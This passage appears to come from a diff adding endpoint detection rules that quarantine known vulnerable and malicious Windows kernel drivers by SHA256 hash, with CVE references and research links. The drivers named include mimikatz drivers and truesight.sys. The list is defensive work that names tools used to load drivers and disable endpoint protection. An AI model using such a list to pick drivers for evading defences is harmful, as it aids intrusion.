+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe251034-4ba0-5d27-80b0-ad8dfa72eab1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610300Z",
+  "creation_date": "2026-03-23T11:45:29.610302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2101d5e80e92c55ecfd8c24fcf2202a206a4fd70195a1378f88c4cc04d336f22",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe34b5db-ba0a-5877-b632-98bcac0e3316",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151986Z",
+  "creation_date": "2026-03-23T11:45:31.151988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0f6e476d42dabffd178a622805677695a9f077497964e37121940ef145528ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe357f21-9829-588a-b0e4-bbbcc1db9019",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146902Z",
+  "creation_date": "2026-03-23T11:45:32.146905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "015956494226d4cbb89283c7b915a46353670c7d41e02f0f2ba741c0d2c73615",
+  "comment": "Vulnerable Kernel Driver (aka BioNTdrv.sys) [https://www.loldrivers.io/drivers/e6378671-986d-42a1-8e7a-717117c83751/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe365c9b-2965-5ddc-9d30-93e2e3aba9a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468555Z",
+  "creation_date": "2026-03-23T11:45:30.468558Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468567Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13999eb266b759e879816fdab640d59ef9e35e2ea61575810979d9eb22fdfd4d",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe45c1ce-334b-55e6-9f47-ef3ff75a2086",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822336Z",
+  "creation_date": "2026-03-23T11:45:30.822338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3eea0723a9007f5a85382cd2e92d9f9cc94bb9e2f7fbb6d99a7c70c8527caa5a",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe45ebae-252b-545b-9470-2615b6528b89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478076Z",
+  "creation_date": "2026-03-23T11:45:31.478080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f41710a76004fde6747989dab3cc4ec3cde19e40499b7210b67c83c69fae2fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe49018c-40a5-5bb7-9552-13a7f405aac2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462057Z",
+  "creation_date": "2026-03-23T11:45:30.462060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "083a311875173f8c4653e9bbbabb689d14aa86b852e7fa9f5512fc60e0fd2c43",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe52c3fd-5f98-5a15-997b-fdff7abb212a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622402Z",
+  "creation_date": "2026-03-23T11:45:29.622404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0be4912bfd7a79f6ebfa1c06a59f0fb402bd4fe0158265780509edd0e562eac1",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe535935-34ce-50f7-b996-bc197d68e862",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144902Z",
+  "creation_date": "2026-03-23T11:45:32.144905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae095718a860962d213622b719f8dbcde190e4bedc2cd92e3865efaede65380f",
+  "comment": "Vulnerable Kernel Driver (aka tboflhelper.sys) [https://www.loldrivers.io/drivers/07c57c69-c8d7-40cf-8bcc-612671427044/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe54003a-4eca-5a70-8484-9505c0d947c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833671Z",
+  "creation_date": "2026-03-23T11:45:30.833675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833683Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a414cc7b9da40056835645b86ff7b722160c6e41add2d4a527cca1256086a2d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe58a499-1770-56d0-be87-c8f96c9040e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835755Z",
+  "creation_date": "2026-03-23T11:45:30.835757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c2c87b67ce1fc02c4b1fc748d8e444bfac462394f88c7547a2d1b2cb8d9b2e3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe594c97-a92b-5aa7-a1b8-0b0a8c2fb8e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827730Z",
+  "creation_date": "2026-03-23T11:45:31.827732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bab93587bf3d029723aa1348414a9aff5e032d52811ad42d6d8649d7668cc1a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe5c63ee-c7f1-5795-8484-6b69cef39233",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618443Z",
+  "creation_date": "2026-03-23T11:45:29.618445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618451Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe2fb5d6cfcd64aeb62e6bf5b71fd2b2a87886eb97ab59e5353ba740da9f5db5",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe5d6e49-8eb0-51cb-9c14-215c9f4bd7b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470610Z",
+  "creation_date": "2026-03-23T11:45:30.470614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6413aa70a5664953223205b6364d676fac0c0491d12ddaadc91b7f12fa53f77b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe5e84aa-e823-5fdb-b1b5-a3b7d7c2d181",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979238Z",
+  "creation_date": "2026-03-23T11:45:29.979241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979246Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c7f24d8ed000bc7ce842e4875b467f9de1626436e051bd351adf1f6f8bbacf8",
+  "comment": "Vulnerable Kernel Driver (aka d2.sys) [https://www.loldrivers.io/drivers/d05a0a6c-c037-4647-99ac-c41593190223/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe6176ae-6f93-5bbc-96d4-5d4795334128",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967693Z",
+  "creation_date": "2026-03-23T11:45:29.967695Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fb0f6fc5bdd22d53f8532cb19da666a77a66ffb1cf3919a2e22b66c13b415b7",
+  "comment": "Vulnerable Kernel Driver (aka fidpcidrv64.sys) [https://www.loldrivers.io/drivers/a005e057-c84f-47cd-9b4b-5b1e51a06ab4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe684a73-3224-502b-b6a2-b8e5a6cd1dcf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619867Z",
+  "creation_date": "2026-03-23T11:45:29.619879Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619884Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cef918675dfaeb50cacd36b9c06871fd05e9ffea7addf98a396fae131abe30a",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe6b3c93-b100-561e-a35d-433e22332075",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499269Z",
+  "creation_date": "2026-03-23T11:45:31.499272Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9aa200322a44c8dcd91a8a7075ee5f23248401a53d532081f28d9b5c7fb49b1a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe7f4840-f5e0-53d4-976a-b8bb2b1632ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615272Z",
+  "creation_date": "2026-03-23T11:45:29.615274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "299f36c717c5d5d77a8e9c15879e95cd825f74e77c7ed24e7cccbefeb38a2165",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe860e38-399f-5521-908c-2475266b7a6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976903Z",
+  "creation_date": "2026-03-23T11:45:29.976905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3513c01158cb9d473c4cf99bb7fa73363531edf5b7bf4c7c4cfedecb6fe1775b",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe8d2098-c900-5f7f-b3a2-70092468bdfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481390Z",
+  "creation_date": "2026-03-23T11:45:31.481394Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481404Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1050f743944f58a7d74a3b34c8ca5b038de9fee3bf7ab39cfb531742f91db90a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe8e340f-4986-5131-b9ef-3b090fb5b13b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818520Z",
+  "creation_date": "2026-03-23T11:45:31.818524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0972fa03d469209602de929894d1a99fc18b5565d621b2aad826e7575a9b72d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe93ceb1-4223-538a-8034-fdcf4c38d7a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
